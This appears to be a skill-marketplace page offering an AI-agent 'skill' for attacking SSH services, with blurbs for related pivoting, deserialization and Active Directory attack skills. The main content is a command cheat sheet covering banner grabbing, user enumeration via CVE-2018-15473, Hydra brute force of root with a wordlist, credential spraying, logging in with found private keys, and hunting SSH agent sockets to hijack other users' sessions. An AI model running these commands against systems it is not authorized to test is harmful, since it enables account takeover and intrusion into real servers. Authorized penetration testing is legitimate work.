菜单
SSH attack techniques — version CVEs, auth-method/user enumeration, key issues, targeted brute. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, user-enum CVE-2018-15473, authorized_keys, weak/leaked key.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/s0ld13rr/pentestcode --skill svc-ssh命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo.
Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.
基于 SOC 职业分类
正在显示 SKILL.md
| name | svc-ssh |
| description | SSH attack techniques — version CVEs, auth-method/user enumeration, key issues, targeted brute. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, user-enum CVE-2018-15473, authorized_keys, weak/leaked key. |
# Banner grab
nc -nv <target> 22
nmap -sV -p 22 <target>
# Username enumeration (CVE-2018-15473)
ssh-audit <target>
# Or use msf: auxiliary/scanner/ssh/ssh_enumusers
# Auth methods
ssh -o PreferredAuthentications=none -o PubkeyAuthentication=no <target> 2>&1
nmap --script ssh-auth-methods -p 22 <target>
# Hydra brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4 -f
# Common credentials
hydra -L users.txt -p admin ssh://<target> -t 4
hydra -l root -p toor ssh://<target>
# Spray found credentials
crackmapexec ssh <target> -u users.txt -p passwords.txt --no-bruteforce
# Check for weak/default keys
nmap --script ssh-hostkey --script-args ssh_hostkey=full -p 22 <target>
# If you find private keys
chmod 600 found_key
ssh -i found_key <user>@<target>
# SSH agent forwarding hijack (if you have user access)
# Look for SSH_AUTH_SOCK in other users' environments
find /tmp -name "agent.*" 2>/dev/null
# Check authorized_keys for persistence
cat ~/.ssh/authorized_keys
# SSH config for pivot targets
cat ~/.ssh/config
cat ~/.ssh/known_hosts